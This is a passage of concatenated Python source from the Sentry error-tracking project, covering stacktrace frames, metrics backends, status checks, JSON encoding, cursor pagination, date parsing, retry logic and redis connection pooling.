            'inApp': self.in_app,
            'errors': self.errors,
        }
        if not is_public:
            data['vars'] = self.vars
        # TODO(dcramer): abstract out this API
        if self.data:
            data.update({
                'map': self.data['sourcemap'].rsplit('/', 1)[-1],
                'origFunction': self.data.get('orig_function', '?'),
                'origAbsPath': self.data.get('orig_abs_path', '?'),
                'origFilename': self.data.get('orig_filename', '?'),
                'origLineNo': self.data.get('orig_lineno', '?'),
                'origColNo': self.data.get('orig_colno', '?'),
            })
            if is_url(self.data['sourcemap']):
                data['mapUrl'] = self.data['sourcemap']

        return data

    def is_url(self):
        if not self.abs_path:
            return False
        # URLs can be generated such that they are:
        #   blob:http://example.com/7f7aaadf-a006-4217-9ed5-5fbf8585c6c0
        # https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL
        if self.abs_path.startswith('blob:'):
            return True
        return is_url(self.abs_path)

    def is_caused_by(self):
        # XXX(dcramer): dont compute hash using frames containing the 'Caused by'
        # text as it contains an exception value which may may contain dynamic
        # values (see raven-java#125)
        return self.filename.startswith('Caused by: ')

    def is_unhashable_module(self):
        # TODO(dcramer): this is Java specific
        return '$$Lambda$' in self.module

    def is_unhashable_function(self):
        # TODO(dcramer): lambda$ is Java specific
        # TODO(dcramer): [Anonymous is PHP specific (used for things like SQL
        # queries and JSON data)
        return self.function.startswith(('lambda$', '[Anonymous'))

    def to_string(self, event):
        if event.platform is not None:
            choices = [event.platform]
        else:
            choices = []
        choices.append('default')
        templates = [
            'sentry/partial/frames/%s.txt' % choice
            for choice in choices
        ]
        return render_to_string(templates, {
            'abs_path': self.abs_path,
            'filename': self.filename,
            'function': self.function,
            'module': self.module,
            'lineno': self.lineno,
            'colno': self.colno,
            'context_line': self.context_line,
        }).strip('\n')

    def get_culprit_string(self, platform=None):
        # If this frame has a platform, we use it instead of the one that
        # was passed in (as that one comes from the exception which might
        # not necessarily be the same platform).
        if self.platform is not None:
            platform = self.platform
        if platform in ('objc', 'cocoa'):
            return '%s (%s)' % (
                self.function or '?',
                trim_package(self.package),
            )
        fileloc = self.module or self.filename
        if not fileloc:
            return ''
        elif platform == 'javascript':
            return '{}({})'.format(self.function or '?', fileloc)
        return '%s in %s' % (
            fileloc,
            self.function or '?',
        )


class Stacktrace(Interface):
    """
    A stacktrace contains a list of frames, each with various bits (most optional)
    describing the context of that frame. Frames should be sorted from oldest
    to newest.

    The stacktrace contains an element, ``frames``, which is a list of hashes. Each
    hash must contain **at least** the ``filename`` attribute. The rest of the values
    are optional, but recommended.

    Additionally, if the list of frames is large, you can explicitly tell the
    system that you've omitted a range of frames. The ``frames_omitted`` must
    be a single tuple two values: start and end. For example, if you only
    removed the 8th frame, the value would be (8, 9), meaning it started at the
    8th frame, and went until the 9th (the number of frames omitted is
    end-start). The values should be based on a one-index.

    The list of frames should be ordered by the oldest call first.

    Each frame must contain the following attributes:

    ``filename``
      The relative filepath to the call

    OR

    ``function``
      The name of the function being called

    OR

    ``module``
      Platform-specific module path (e.g. sentry.interfaces.Stacktrace)

    The following additional attributes are supported:

    ``lineno``
      The line number of the call
    ``colno``
      The column number of the call
    ``abs_path``
      The absolute path to filename
    ``context_line``
      Source code in filename at lineno
    ``pre_context``
      A list of source code lines before context_line (in order) -- usually [lineno - 5:lineno]
    ``post_context``
      A list of source code lines after context_line (in order) -- usually [lineno + 1:lineno + 5]
    ``in_app``
      Signifies whether this frame is related to the execution of the relevant
      code in this stacktrace. For example, the frames that might power the
      framework's webserver of your app are probably not relevant, however calls
      to the framework's library once you start handling code likely are. See
      notes below on implicity ``in_app`` behavior.
    ``vars``
      A mapping of variables which were available within this frame (usually context-locals).
    ``package``
      Name of the package or object file that the frame is contained in.  This
      for instance can be the name of a DLL, .NET Assembly, jar file, object
      file etc.

    >>> {
    >>>     "frames": [{
    >>>         "abs_path": "/real/file/name.py"
    >>>         "filename": "file/name.py",
    >>>         "function": "myfunction",
    >>>         "vars": {
    >>>             "key": "value"
    >>>         },
    >>>         "pre_context": [
    >>>             "line1",
    >>>             "line2"
    >>>         ],
    >>>         "context_line": "line3",
    >>>         "lineno": 3,
    >>>         "in_app": true,
    >>>         "post_context": [
    >>>             "line4",
    >>>             "line5"
    >>>         ],
    >>>     }],
    >>>     "frames_omitted": [13, 56]
    >>> }

    Implicity ``in_app`` behavior exists when the value is not specified on all
    frames within a stacktrace (or collectively within an exception if this is
    part of a chain).

    If **any frame** is marked with ``in_app=True`` or ``in_app=False``:

    - Set ``in_app=False`` where ``in_app is None``

    If **all frames** are marked identical values for ``in_app``:

    - Set ``in_app=False`` on all frames

    .. note:: This interface can be passed as the 'stacktrace' key in addition
              to the full interface path.
    """
    score = 2000

    def __iter__(self):
        return iter(self.frames)

    @classmethod
    def to_python(cls, data, has_system_frames=None, slim_frames=True):
        if not data.get('frames'):
            raise InterfaceValidationError("No 'frames' present")

        if not isinstance(data['frames'], list):
            raise InterfaceValidationError("Invalid value for 'frames'")

        if has_system_frames is None:
            has_system_frames = cls.data_has_system_frames(data)

        frame_list = [
            # XXX(dcramer): handle PHP sending an empty array for a frame
            Frame.to_python(f or {})
            for f in data['frames']
        ]

        for frame in frame_list:
            if not has_system_frames:
                frame.in_app = False
            elif frame.in_app is None:
                frame.in_app = False

        kwargs = {
            'frames': frame_list,
        }

        if data.get('frames_omitted'):
            if len(data['frames_omitted']) != 2:
                raise InterfaceValidationError("Invalid value for 'frames_omitted'")
            kwargs['frames_omitted'] = data['frames_omitted']
        else:
            kwargs['frames_omitted'] = None

        kwargs['has_system_frames'] = has_system_frames

        instance = cls(**kwargs)
        if slim_frames:
            slim_frame_data(instance)
        return instance

    @classmethod
    def data_has_system_frames(cls, data):
        system_frames = 0
        for frame in data['frames']:
            # XXX(dcramer): handle PHP sending an empty array for a frame
            if not isinstance(frame, dict):
                continue
            if not frame.get('in_app'):
                system_frames += 1

        if len(data['frames']) == system_frames:
            return False
        return bool(system_frames)

    def get_api_context(self, is_public=False):
        frame_list = [
            f.get_api_context(is_public=is_public)
            for f in self.frames
        ]

        return {
            'frames': frame_list,
            'framesOmitted': self.frames_omitted,
            'hasSystemFrames': self.has_system_frames,
        }

    def to_json(self):
        return {
            'frames': [f.to_json() for f in self.frames],
            'frames_omitted': self.frames_omitted,
            'has_system_frames': self.has_system_frames,
        }

    def get_path(self):
        return 'sentry.interfaces.Stacktrace'

    def compute_hashes(self, platform):
        system_hash = self.get_hash(system_frames=True)
        if not system_hash:
            return []

        app_hash = self.get_hash(system_frames=False)
        if system_hash == app_hash or not app_hash:
            return [system_hash]

        return [system_hash, app_hash]

    def get_hash(self, system_frames=True):
        frames = self.frames

        # TODO(dcramer): this should apply only to platform=javascript
        # Browser JS will often throw errors (from inlined code in an HTML page)
        # which contain only a single frame, no function name, and have the HTML
        # document as the filename. In this case the hash is often not usable as
        # the context cannot be trusted and the URL is dynamic (this also means
        # the line number cannot be trusted).
        stack_invalid = (
            len(frames) == 1 and not frames[0].function and frames[0].is_url()
        )

        if stack_invalid:
            return []

        if not system_frames:
            total_frames = len(frames)
            frames = [f for f in frames if f.in_app] or frames

            # if app frames make up less than 10% of the stacktrace discard
            # the hash as invalid
            if len(frames) / float(total_frames) < 0.10:
                return []

        output = []
        for frame in frames:
            output.extend(frame.get_hash())
        return output

    def to_string(self, event, is_public=False, **kwargs):
        return self.get_stacktrace(event, system_frames=False, max_frames=10)

    def get_stacktrace(self, event, system_frames=True, newest_first=None,
                       max_frames=None, header=True):
        if newest_first is None:
            newest_first = is_newest_frame_first(event)

        result = []
        if header:
            if newest_first:
                result.append(_('Stacktrace (most recent call first):'))
            else:
                result.append(_('Stacktrace (most recent call last):'))

            result.append('')

        frames = self.frames

        num_frames = len(frames)

        if not system_frames:
            frames = [f for f in frames if f.in_app is not False]
            if not frames:
                frames = self.frames

        if newest_first:
            frames = frames[::-1]

        if max_frames:
            visible_frames = max_frames
            if newest_first:
                start, stop = None, max_frames
            else:
                start, stop = -max_frames, None

        else:
            visible_frames = len(frames)
            start, stop = None, None

        if not newest_first and visible_frames < num_frames:
            result.extend(('(%d additional frame(s) were not displayed)' % (num_frames - visible_frames,), '...'))

        for frame in frames[start:stop]:
            result.append(frame.to_string(event))

        if newest_first and visible_frames < num_frames:
            result.extend(('...', '(%d additional frame(s) were not displayed)' % (num_frames - visible_frames,)))

        return '\n'.join(result)

    def get_traceback(self, event, newest_first=None):
        result = [
            event.message, '',
            self.get_stacktrace(event, newest_first=newest_first),
        ]

        return '\n'.join(result)

    def get_culprit_string(self, platform=None):
        default = None
        for frame in reversed(self.frames):
            if frame.in_app:
                return frame.get_culprit_string(platform=platform)
            elif default is None:
                default = frame.get_culprit_string(platform=platform)
        return default






from __future__ import absolute_import

__all__ = ['StatsdMetricsBackend']

import statsd

from .base import MetricsBackend


class StatsdMetricsBackend(MetricsBackend):
    def __init__(self, host='localhost', port=8125, **kwargs):
        self.client = statsd.StatsClient(host=host, port=port)
        super(StatsdMetricsBackend, self).__init__(**kwargs)

    def _full_key(self, key, instance=None):
        if instance:
            return '{}.{}'.format(key, instance)
        return key

    def incr(self, key, instance=None, tags=None, amount=1, sample_rate=1):
        self.client.incr(self._full_key(self._get_key(key)), amount, sample_rate)

    def timing(self, key, value, instance=None, tags=None, sample_rate=1):
        self.client.timing(self._full_key(self._get_key(key)), value, sample_rate)






from __future__ import absolute_import

__all__ = ['MetricsBackend']

from django.conf import settings
from random import random
from threading import local


class MetricsBackend(local):
    def __init__(self, prefix=None):
        if prefix is None:
            prefix = settings.SENTRY_METRICS_PREFIX
        self.prefix = prefix

    def _get_key(self, key):
        if self.prefix:
            return '{}{}'.format(self.prefix, key)
        return key

    def _should_sample(self, sample_rate):
        return sample_rate >= 1 or random() >= 1 - sample_rate

    def incr(self, key, instance=None, tags=None, amount=1, sample_rate=1):
        raise NotImplementedError

    def timing(self, key, value, instance=None, tags=None, sample_rate=1):
        raise NotImplementedError






from __future__ import absolute_import






from __future__ import absolute_import

__all__ = ['DummyMetricsBackend']

from .base import MetricsBackend


class DummyMetricsBackend(MetricsBackend):
    def incr(self, key, instance=None, tags=None, amount=1, rate=1):
        pass

    def timing(self, key, value, instance=None, tags=None, rate=1):
        pass






from __future__ import absolute_import

__all__ = ['DatadogMetricsBackend']

from datadog import initialize, ThreadStats
from datadog.util.hostname import get_hostname

from sentry.utils.cache import memoize

from .base import MetricsBackend


# XXX(dcramer): copied from sentry.utils.metrics
def _sampled_value(value, sample_rate):
    if sample_rate < 1:
        value = int(value * (1.0 / sample_rate))
    return value


class DatadogMetricsBackend(MetricsBackend):
    def __init__(self, prefix=None, **kwargs):
        # TODO(dcramer): it'd be nice if the initialize call wasn't a global
        self.tags = kwargs.pop('tags', None)
        if 'host' in kwargs:
            self.host = kwargs.pop('host')
        else:
            self.host = get_hostname()
        initialize(**kwargs)
        super(DatadogMetricsBackend, self).__init__(prefix=prefix)

    def __del__(self):
        try:
            self.stats.stop()
        except TypeError:
            # TypeError: 'NoneType' object is not callable
            pass

    @memoize
    def stats(self):
        instance = ThreadStats()
        instance.start()
        return instance

    def incr(self, key, instance=None, tags=None, amount=1, sample_rate=1):
        if tags is None:
            tags = {}
        if self.tags:
            tags.update(self.tags)
        if instance:
            tags['instance'] = instance
        if tags:
            tags = ['{}:{}'.format(*i) for i in tags.items()]
        # datadog does not implement sampling here
        amount = _sampled_value(amount, sample_rate)
        self.stats.increment(self._get_key(key), amount,
                             tags=tags,
                             host=self.host)

    def timing(self, key, value, instance=None, tags=None, sample_rate=1):
        if tags is None:
            tags = {}
        if self.tags:
            tags.update(self.tags)
        if instance:
            tags['instance'] = instance
        if tags:
            tags = ['{}:{}'.format(*i) for i in tags.items()]
        self.stats.timing(self._get_key(key), value, sample_rate=sample_rate,
                          tags=tags,
                          host=self.host)






from __future__ import absolute_import

import logging

from .base import MetricsBackend


logger = logging.getLogger('sentry.metrics')


class LoggingBackend(MetricsBackend):
    def incr(self, key, instance=None, tags=None, amount=1, sample_rate=1):
        logger.debug('%r: %+g', key, amount, extra={
            'instance': instance,
            'tags': tags or {},
        })

    def timing(self, key, value, instance=None, tags=None, sample_rate=1):
        logger.debug('%r: %g ms', key, value, extra={
            'instance': instance,
            'tags': tags or {},
        })






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.utils.http import absolute_uri

from .base import Problem, StatusCheck


class WarningStatusCheck(StatusCheck):
    def __init__(self, warning_set):
        self.__warning_set = warning_set

    def check(self):
        if self.__warning_set:
            return [
                Problem(
                    'There {} {} {} with your system configuration.'.format(
                        'are' if len(self.__warning_set) > 1 else 'is',
                        len(self.__warning_set),
                        'issues' if len(self.__warning_set) > 1 else 'issue',
                    ),
                    severity=Problem.SEVERITY_WARNING,
                    url=absolute_uri(reverse('sentry-admin-warnings-status')),
                ),
            ]
        else:
            return []






from __future__ import absolute_import

import sentry

from django.conf import settings
from sentry import options

from .base import StatusCheck, Problem


class CeleryAppVersionCheck(StatusCheck):
    def check(self):
        # There is no queue, and celery is not running, so never show error
        if settings.CELERY_ALWAYS_EAGER:
            return []
        version = options.get('sentry:last_worker_version')
        if not version:
            return []
        if version == sentry.VERSION:
            return []
        return [
            Problem("Celery workers are referencing a different version of Sentry ({version1} vs {version2})".format(
                version1=sentry.VERSION,
                version2=version,
            )),
        ]






from __future__ import absolute_import

import six

from functools import total_ordering

from sentry.utils.compat import implements_to_string


@implements_to_string
@total_ordering
class Problem(object):

    # Used for issues that may render the system inoperable or have effects on
    # data integrity (e.g. issues in the processing pipeline.)
    SEVERITY_CRITICAL = 'critical'

    # Used for issues that may cause the system to operate in a degraded (but
    # still operational) state, as well as configuration options that are set
    # in unexpected ways or deprecated in future versions.
    SEVERITY_WARNING = 'warning'

    # Mapping of severity level to a priority score, where the greater the
    # score, the more critical the issue. (The numeric values should only be
    # used for comparison purposes, and are subject to change as levels are
    # modified.)
    SEVERITY_LEVELS = {
        SEVERITY_CRITICAL: 2,
        SEVERITY_WARNING: 1,
    }

    def __init__(self, message, severity=SEVERITY_CRITICAL, url=None):
        assert severity in self.SEVERITY_LEVELS
        self.message = six.text_type(message)
        self.severity = severity
        self.url = url

    def __eq__(self, other):
        return self.SEVERITY_LEVELS[self.severity] == self.SEVERITY_LEVELS[other.severity]

    def __lt__(self, other):
        return self.SEVERITY_LEVELS[self.severity] < self.SEVERITY_LEVELS[other.severity]

    def __str__(self):
        return self.message

    @classmethod
    def threshold(cls, severity):
        threshold = cls.SEVERITY_LEVELS[severity]

        def predicate(problem):
            return cls.SEVERITY_LEVELS[problem.severity] >= threshold

        return predicate


class StatusCheck(object):
    def check(self):
        """
        Perform required checks and return a list of ``Problem`` instances.
        """
        raise NotImplementedError






from __future__ import absolute_import

__all__ = ('check_all', 'Problem', 'StatusCheck')

from sentry.utils.warnings import seen_warnings

from .base import Problem, StatusCheck  # NOQA
from .celery_alive import CeleryAliveCheck
from .celery_app_version import CeleryAppVersionCheck
from .warnings import WarningStatusCheck


checks = [
    CeleryAliveCheck(),
    CeleryAppVersionCheck(),
    WarningStatusCheck(seen_warnings),
]


def check_all():
    return {check: check.check() for check in checks}






from __future__ import absolute_import

from time import time

from django.conf import settings
from django.core.urlresolvers import reverse

from sentry import options
from sentry.utils.http import absolute_uri

from .base import Problem, StatusCheck


class CeleryAliveCheck(StatusCheck):
    def check(self):
        # There is no queue, and celery is not running, so never show error
        if settings.CELERY_ALWAYS_EAGER:
            return []
        last_ping = options.get('sentry:last_worker_ping') or 0
        if last_ping >= time() - 300:
            return []

        backlogged, size = None, 0
        from sentry.monitoring.queues import backend
        if backend is not None:
            size = backend.get_size('default')
            backlogged = size > 0

        message = "Background workers haven't checked in recently. "
        if backlogged:
            message += "It seems that you have a backlog of %d tasks. Either your workers aren't running or you need more capacity." % size
        else:
            message += "This is likely an issue with your configuration or the workers aren't running."

        return [
            Problem(
                message,
                url=absolute_uri(reverse('sentry-admin-queue')),
            ),
        ]






"""
sentry.utils.json
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

# Avoid shadowing the standard library json module
from __future__ import absolute_import

from simplejson import JSONEncoder, _default_decoder
import datetime
import uuid
import six
import decimal

from django.utils.timezone import is_aware
from django.utils.html import mark_safe


def better_default_encoder(o):
    if isinstance(o, uuid.UUID):
        return o.hex
    elif isinstance(o, datetime.datetime):
        return o.strftime('%Y-%m-%dT%H:%M:%S.%fZ')
    elif isinstance(o, datetime.date):
        return o.isoformat()
    elif isinstance(o, datetime.time):
        if is_aware(o):
            raise ValueError("JSON can't represent timezone-aware times.")
        r = o.isoformat()
        if o.microsecond:
            r = r[:12]
        return r
    elif isinstance(o, (set, frozenset)):
        return list(o)
    elif isinstance(o, decimal.Decimal):
        return six.text_type(o)
    raise TypeError(repr(o) + ' is not JSON serializable')


class JSONEncoderForHTML(JSONEncoder):
    # Our variant of JSONEncoderForHTML that also accounts for apostrophes
    # See: https://github.com/simplejson/simplejson/blob/master/simplejson/encoder.py#L380-L386
    def encode(self, o):
        # Override JSONEncoder.encode because it has hacks for
        # performance that make things more complicated.
        chunks = self.iterencode(o, True)
        if self.ensure_ascii:
            return ''.join(chunks)
        else:
            return u''.join(chunks)

    def iterencode(self, o, _one_shot=False):
        chunks = super(JSONEncoderForHTML, self).iterencode(o, _one_shot)
        for chunk in chunks:
            chunk = chunk.replace('&', '\\u0026')
            chunk = chunk.replace('<', '\\u003c')
            chunk = chunk.replace('>', '\\u003e')
            chunk = chunk.replace("'", '\\u0027')
            yield chunk


_default_encoder = JSONEncoder(
    separators=(',', ':'),
    ignore_nan=True,
    skipkeys=False,
    ensure_ascii=True,
    check_circular=True,
    allow_nan=True,
    indent=None,
    encoding='utf-8',
    default=better_default_encoder,
)

_default_escaped_encoder = JSONEncoderForHTML(
    separators=(',', ':'),
    ignore_nan=True,
    skipkeys=False,
    ensure_ascii=True,
    check_circular=True,
    allow_nan=True,
    indent=None,
    encoding='utf-8',
    default=better_default_encoder,
)


def dump(value, fp, **kwargs):
    for chunk in _default_encoder.iterencode(value):
        fp.write(chunk)


def dumps(value, escape=False, **kwargs):
    # Legacy use. Do not use. Use dumps_htmlsafe
    if escape:
        return _default_escaped_encoder.encode(value)
    return _default_encoder.encode(value)


def loads(value, **kwargs):
    return _default_decoder.decode(value)


def dumps_htmlsafe(value):
    return mark_safe(_default_escaped_encoder.encode(value))






"""
sentry.utils.cursors
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six

from collections import Sequence


class Cursor(object):
    def __init__(self, value, offset=0, is_prev=False, has_results=None):
        # XXX: ceil is not entirely correct here, but it's a simple hack
        # that solves most problems
        self.value = int(value)
        self.offset = int(offset)
        self.is_prev = bool(is_prev)
        self.has_results = has_results

    def __str__(self):
        return '%s:%s:%s' % (self.value, self.offset, int(self.is_prev))

    def __repr__(self):
        return '<%s: value=%s offset=%s is_prev=%s>' % (
            type(self), self.value, self.offset, int(self.is_prev))

    def __nonzero__(self):
        return self.has_results

    @classmethod
    def from_string(cls, value):
        bits = value.split(':')
        if len(bits) != 3:
            raise ValueError
        try:
            bits = float(bits[0]), int(bits[1]), int(bits[2])
        except (TypeError, ValueError):
            raise ValueError
        return cls(*bits)


class CursorResult(Sequence):
    def __init__(self, results, next, prev):
        self.results = results
        self.next = next
        self.prev = prev

    def __len__(self):
        return len(self.results)

    def __iter__(self):
        return iter(self.results)

    def __getitem__(self, key):
        return self.results[key]

    def __repr__(self):
        return '<%s: results=%s>' % (type(self).__name__, len(self.results))

    @classmethod
    def from_ids(cls, id_list, key=None, limit=100, cursor=None):
        from sentry.models import Group

        group_map = Group.objects.in_bulk(id_list)

        results = []
        for g_id in id_list:
            try:
                results.append(group_map[g_id])
            except KeyError:
                pass

        return build_cursor(
            results=results,
            key=key,
            cursor=cursor,
            limit=limit,
        )


def build_cursor(results, key, limit=100, cursor=None):
    if cursor is None:
        cursor = Cursor(0, 0, 0)

    value = cursor.value
    offset = cursor.offset
    is_prev = cursor.is_prev

    num_results = len(results)

    if is_prev:
        has_prev = num_results > limit
        num_results = len(results)
    elif value or offset:
        # It's likely that there's a previous page if they passed us either offset values
        has_prev = True
    else:
        # we don't know
        has_prev = False

    # Default cursor if not present
    if is_prev:
        next_value = value
        next_offset = offset
        has_next = True
    elif num_results:
        if not value:
            value = int(key(results[0]))

        # Are there more results than whats on the current page?
        has_next = num_results > limit

        # Determine what our next cursor is by ensuring we have a unique offset
        next_value = int(key(results[-1]))

        if next_value == value:
            next_offset = offset + limit
        else:
            next_offset = 0
            result_iter = reversed(results)
            # skip the last result
            six.next(result_iter)
            for result in result_iter:
                if int(key(result)) == next_value:
                    next_offset += 1
                else:
                    break
    else:
        next_value = value
        next_offset = offset
        has_next = False

    # Determine what our pervious cursor is by ensuring we have a unique offset
    if is_prev and num_results:
        prev_value = int(key(results[0]))

        if num_results > 2:
            i = 1
            while i < num_results and prev_value == int(key(results[i])):
                i += 1
            i -= 1
        else:
            i = 0

        # if we iterated every result and the offset didn't change, we need
        # to simply add the current offset to our total results (visible)
        if prev_value == value:
            prev_offset = offset + i
        else:
            prev_offset = i
    else:
        # previous cursor is easy if we're paginating forward
        prev_value = value
        prev_offset = offset

    # Truncate the list to our original result size now that we've determined the next page
    results = results[:limit]

    next_cursor = Cursor(next_value or 0, next_offset, False, has_next)
    prev_cursor = Cursor(prev_value or 0, prev_offset, True, has_prev)

    return CursorResult(
        results=results,
        next=next_cursor,
        prev=prev_cursor,
    )






"""
sentry.utils.db
~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import logging


class InstanceManager(object):
    def __init__(self, class_list=None, instances=True):
        if class_list is None:
            class_list = []
        self.instances = instances
        self.update(class_list)

    def get_class_list(self):
        return self.class_list

    def add(self, class_path):
        self.cache = None
        self.class_list.append(class_path)

    def remove(self, class_path):
        self.cache = None
        self.class_list.remove(class_path)

    def update(self, class_list):
        """
        Updates the class list and wipes the cache.
        """
        self.cache = None
        self.class_list = class_list

    def all(self):
        """
        Returns a list of cached instances.
        """
        class_list = list(self.get_class_list())
        if not class_list:
            self.cache = []
            return []

        if self.cache is not None:
            return self.cache

        results = []
        for cls_path in class_list:
            module_name, class_name = cls_path.rsplit('.', 1)
            try:
                module = __import__(module_name, {}, {}, class_name)
                cls = getattr(module, class_name)
                if self.instances:
                    results.append(cls())
                else:
                    results.append(cls)
            except Exception:
                logger = logging.getLogger('sentry.errors')
                logger.exception('Unable to import %s', cls_path)
                continue
        self.cache = results

        return results






#!/usr/bin/env python
"""
sentry.utils.runner
~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2012 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

# Backwards compatibility
from sentry.runner import configure, main  # NOQA

import warnings

warnings.warn("'sentry.utils.runner' has moved to 'sentry.runner'",
              DeprecationWarning)






from __future__ import absolute_import

import collections
import six
import warnings


class DeprecatedSettingWarning(DeprecationWarning):
    def __init__(self, setting, replacement, url=None, removed_in_version=None):
        self.setting = setting
        self.replacement = replacement
        self.url = url
        self.removed_in_version = removed_in_version
        super(DeprecatedSettingWarning, self).__init__(setting, replacement, url)

    def __str__(self):
        chunks = [
            'The {} setting is deprecated. Please use {} instead.'.format(
                self.setting,
                self.replacement,
            )
        ]

        if self.removed_in_version:
            chunks.append(
                'This setting will be removed in Sentry {}.'.format(
                    self.removed_in_version,
                ),
            )

        # TODO(tkaemming): This will be removed from the message in the future
        # when it's added to the API payload separately.
        if self.url:
            chunks.append('See {} for more information.'.format(self.url))

        return ' '.join(chunks)


class WarningManager(object):
    """
    Transforms warnings into a standard form and invokes handlers.
    """
    def __init__(self, handlers, default_category=Warning):
        self.__handlers = handlers
        self.__default_category = default_category

    def warn(self, message, category=None, stacklevel=None):
        if isinstance(message, Warning):
            # Maybe log if `category` was passed and isn't a subclass of
            # `type(message)`?
            warning = message
        else:
            if category is None:
                category = self.__default_category

            assert issubclass(category, Warning)
            warning = category(message)

        kwargs = {}
        if stacklevel is not None:
            kwargs['stacklevel'] = stacklevel

        for handler in self.__handlers:
            handler(warning, **kwargs)


class WarningSet(collections.Set):
    """
    Add-only set structure for storing unique warnings.
    """
    def __init__(self):
        self.__warnings = {}

    def __contains__(self, value):
        assert isinstance(value, Warning)
        return self.__get_key(value) in self.__warnings

    def __len__(self):
        return len(self.__warnings)

    def __iter__(self):
        return six.itervalues(self.__warnings)

    def __get_key(self, warning):
        return (
            type(warning),
            warning.args if hasattr(warning, 'args') else six.text_type(warning),
        )

    def add(self, warning, stacklevel=None):
        self.__warnings[self.__get_key(warning)] = warning


# Maintains all unique warnings seen since system startup.
seen_warnings = WarningSet()

manager = WarningManager((
    lambda warning, stacklevel=1: warnings.warn(
        warning,
        stacklevel=stacklevel + 2,
    ),
    seen_warnings.add,
))

# Make this act like the standard library ``warnings`` module.
warn = manager.warn






"""
sentry.utils.dates
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six

from datetime import (
    datetime,
    timedelta,
)

import pytz
from dateutil.parser import parse
from django.db import connections

from sentry.utils.db import get_db_engine


DATE_TRUNC_GROUPERS = {
    'oracle': {
        'hour': 'hh24',
    },
    'default': {
        'date': 'day',
        'hour': 'hour',
        'minute': 'minute',
    },
}


epoch = datetime(1970, 1, 1, tzinfo=pytz.utc)


def to_timestamp(value):
    """
    Convert a time zone aware datetime to a POSIX timestamp (with fractional
    component.)
    """
    return (value - epoch).total_seconds()


def to_datetime(value):
    """
    Convert a POSIX timestamp to a time zone aware datetime.

    The timestamp value must be a numeric type (either a integer or float,
    since it may contain a fractional component.)
    """
    return epoch + timedelta(seconds=value)


def floor_to_utc_day(value):
    """
    Floors a given datetime to UTC midnight.
    """
    return value.astimezone(pytz.utc).replace(
        hour=0,
        minute=0,
        second=0,
        microsecond=0,
    )


def get_sql_date_trunc(col, db='default', grouper='hour'):
    conn = connections[db]

    engine = get_db_engine(db)
    # TODO: does extract work for sqlite?
    if engine.startswith('oracle'):
        method = DATE_TRUNC_GROUPERS['oracle'].get(grouper, DATE_TRUNC_GROUPERS['default'][grouper])
        if '"' not in col:
            col = '"%s"' % col.upper()
    else:
        method = DATE_TRUNC_GROUPERS['default'][grouper]
    return conn.ops.date_trunc_sql(method, col)


def parse_date(datestr, timestr):
    # format is Y-m-d
    if not (datestr or timestr):
        return
    if not timestr:
        return datetime.strptime(datestr, '%Y-%m-%d')

    datetimestr = datestr.strip() + ' ' + timestr.strip()
    try:
        return datetime.strptime(datetimestr, '%Y-%m-%d %I:%M %p')
    except Exception:
        try:
            return parse(datetimestr)
        except Exception:
            return


def parse_timestamp(value):
    # TODO(mitsuhiko): merge this code with coreapis date parser
    if isinstance(value, datetime):
        return value
    elif isinstance(value, six.integer_types + (float,)):
        return datetime.utcfromtimestamp(value).replace(tzinfo=pytz.utc)
    value = (value or '').rstrip('Z').encode('ascii', 'replace').split('.', 1)
    if not value:
        return None
    try:
        rv = datetime.strptime(value[0], '%Y-%m-%dT%H:%M:%S')
    except Exception:
        return None
    if len(value) == 2:
        try:
            rv = rv.replace(microsecond=int(value[1]
                            .ljust(6, '0')[:6]))
        except ValueError:
            rv = None
    return rv.replace(tzinfo=pytz.utc)






from __future__ import absolute_import

import itertools
import logging
import random
import time

from django.utils.encoding import force_bytes


logger = logging.getLogger(__name__)


class RetryException(Exception):
    def __init__(self, message, exception):
        self.message = message
        self.exception = exception

    def __str__(self):
        return force_bytes(self.message, errors='replace')

    def __repr__(self):
        return u'<{}: {!r}>'.format(
            type(self).__name__,
            self.message,
        )


class RetryPolicy(object):
    def __call__(self, function):
        raise NotImplementedError


class TimedRetryPolicy(RetryPolicy):
    """
    A time-based policy that can be used to retry a callable in the case of
    failure as many times as possible up to the ``timeout`` value (in seconds.)

    The ``delay`` function accepts one argument, a number which represents the
    number of this attempt (starting at 1.)
    """
    def __init__(self, timeout, delay=None, exceptions=(Exception,)):
        if delay is None:
            # 100ms +/- 50ms of randomized jitter
            delay = lambda i: 0.1 + ((random.random() - 0.5) / 10)

        self.timeout = timeout
        self.delay = delay
        self.exceptions = exceptions
        self.clock = time

    def __call__(self, function):
        start = self.clock.time()
        for i in itertools.count(1):
            try:
                return function()
            except self.exceptions as error:
                delay = self.delay(i)
                now = self.clock.time()
                if (now + delay) > (start + self.timeout):
                    raise RetryException(
                        'Could not successfully execute %r within %.3f seconds (%s attempts.)' % (function, now - start, i),
                        error,
                    )
                else:
                    logger.debug(
                        'Failed to execute %r due to %r on attempt #%s, retrying in %s seconds...',
                        function,
                        error,
                        i,
                        delay,
                    )
                    self.clock.sleep(delay)






from __future__ import absolute_import

import functools
import posixpath
import six

from threading import Lock

import rb
from pkg_resources import resource_string
from redis.client import Script
from redis.connection import ConnectionPool

from sentry import options
from sentry.exceptions import InvalidConfiguration
from sentry.utils import warnings
from sentry.utils.warnings import DeprecatedSettingWarning
from sentry.utils.versioning import Version, check_versions

_pool_cache = {}
_pool_lock = Lock()


def _shared_pool(**opts):
    if 'host' in opts:
        key = '%s:%s/%s' % (
            opts['host'],
            opts['port'],
            opts['db'],
        )
    else:
        key = '%s/%s' % (
            opts['path'],
            opts['db']
        )
    pool = _pool_cache.get(key)
    if pool is not None:
        return pool
    with _pool_lock:
        pool = _pool_cache.get(key)
        if pool is not None:
            return pool
        pool = ConnectionPool(**opts)
        _pool_cache[key] = pool
        return pool

